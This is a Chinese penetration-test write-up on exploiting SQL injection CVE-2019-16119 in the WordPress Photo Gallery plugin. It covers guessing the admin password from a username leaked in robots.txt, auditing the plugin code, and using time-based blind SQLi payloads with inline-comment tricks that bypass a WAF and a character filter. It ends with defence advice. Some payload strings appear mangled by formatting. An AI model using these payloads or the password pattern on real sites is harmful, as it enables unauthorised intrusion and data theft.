渗透测试之黑白无常“续”
字数 1554 2025-08-15 21:33:42
WordPress渗透测试:Photo Gallery插件SQL注入漏洞分析与绕过技巧
1. 背景与目标确认
本次渗透测试的目标是一个WordPress网站,经过初步确认:
- 使用WordPress框架构建
- 默认后台路径
/wp-admin/可访问 - 管理员账号为
admin,但非弱口令
2. 信息收集与后台突破
2.1 目录扫描发现
- 发现非标准文件
2.php(仅显示"test") - 存在
robots.txt文件,其中包含关键信息:robots.txt generated at zhangchao
2.2 后台密码破解
通过分析robots.txt中的用户名zhangchao,尝试构造密码:
- 尝试简单组合:
zhangchao、zhangchao123 - 尝试年份组合:
zhangchao@2019(成功)
3. 后台功能限制分析
进入后台后发现:
- 插件上传功能被删除
- 主题上传功能不可用
- 编辑功能受限
- 已安装插件中包含
Photo Gallery插件(版本1.5.34)
4. 漏洞分析与定位
4.1 插件信息
- 插件名称:Photo Gallery
- 当前版本:1.5.34(最新为1.5.56)
- 功能:图片库管理插件,30万+活跃安装
4.2 漏洞确认
通过CVE检索发现相关漏洞:
- CVE-2019-16119:SQL注入漏洞
- 漏洞文件:
min/controllers/Albumsgalleries.php - 漏洞参数:
album_id
5. 代码审计过程
5.1 漏洞位置
Albumsgalleries.php中的display方法:
public function display() {
$album_id = WDWLibrary::get('album_id', 0);
// ...
$params['album_id'] = $album_id;
$rows_data = $this->model->get_rows_data($params);
}
5.2 参数过滤分析
-
WDWLibrary::get方法:- 直接获取GET参数
- 非数组参数调用
validata_data方法过滤
-
validata_data方法过滤:- 使用
stripslashes删除反斜杠 - 使用
esc_html函数转换特殊字符:- 转换:
<,>,&,",' - 已为实体的不转换
- 转换:
- 使用
5.3 SQL语句构造
get_rows_data方法中直接拼接SQL语句:
$where = ' WHERE album_id=' . $params['album_id'];
$wpdb->get_results($query);
6. 漏洞利用与绕过技巧
6.1 基本注入点
访问URL:
/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1
6.2 安全狗防护绕过
-
初始payload被拦截:
album_id=1 AND (SELECT 5603 FROM (SELECT(SLEEP(5)))yBYg) -
绕过方法:
- 使用内联注释包裹关键词:
album_id=1 AND (/*!SELECT/4072 FROM (/*!SELECT/SLEEP(5)))XOSi)
- 使用内联注释包裹关键词:
6.3 特殊字符限制绕过
由于esc_html函数过滤:
- 无法使用:
<,>,&,",' - 可使用:
=(等号)
最终payload构造:
album_id=1 /*!and/20(/*!SELECT/204072 FROM (/*!SELECT/If(ascii(substr(database(),1,1))=119,/*!sleep/10),1)))XOSi)
6.4 自动化测试技巧
使用Burp Suite Intruder模块:
- 设置ASCII码范围(48-126)
- 观察响应时间(10秒延迟为匹配成功)
7. 漏洞利用流程总结
- 确认插件版本(1.5.34)
- 构造基本注入URL
- 绕过安全狗防护:
- 使用内联注释
/*!keyword/绕过关键词检测
- 使用内联注释
- 绕过字符过滤:
- 仅使用未被过滤的符号(如
=)
- 仅使用未被过滤的符号(如
- 使用时间盲注技术:
- 通过响应时间判断ASCII码值
8. 防御建议
-
对于WordPress管理员:
- 及时更新插件到最新版本
- 避免使用可预测的管理员密码
- 限制后台访问IP
-
对于开发者:
- 使用预处理语句替代直接SQL拼接
- 实现更严格的输入过滤
- 对关键操作添加CSRF保护
-
对于安全防护:
- 更新WAF规则识别内联注释攻击
- 监控异常时间延迟请求
9. 关键知识点总结
- 信息收集:robots.txt可能泄露关键用户名
- 密码构造:企业常用密码模式(用户名+@+年份)
- 插件审计:通过CVE定位历史漏洞
- 过滤绕过:
- 内联注释绕过WAF
- 等号替代不等号
- 盲注技术:基于时间的ASCII码逐字符比对
通过本案例,我们展示了从信息收集到漏洞利用的完整渗透测试流程,特别强调了在存在安全防护情况下的绕过技巧。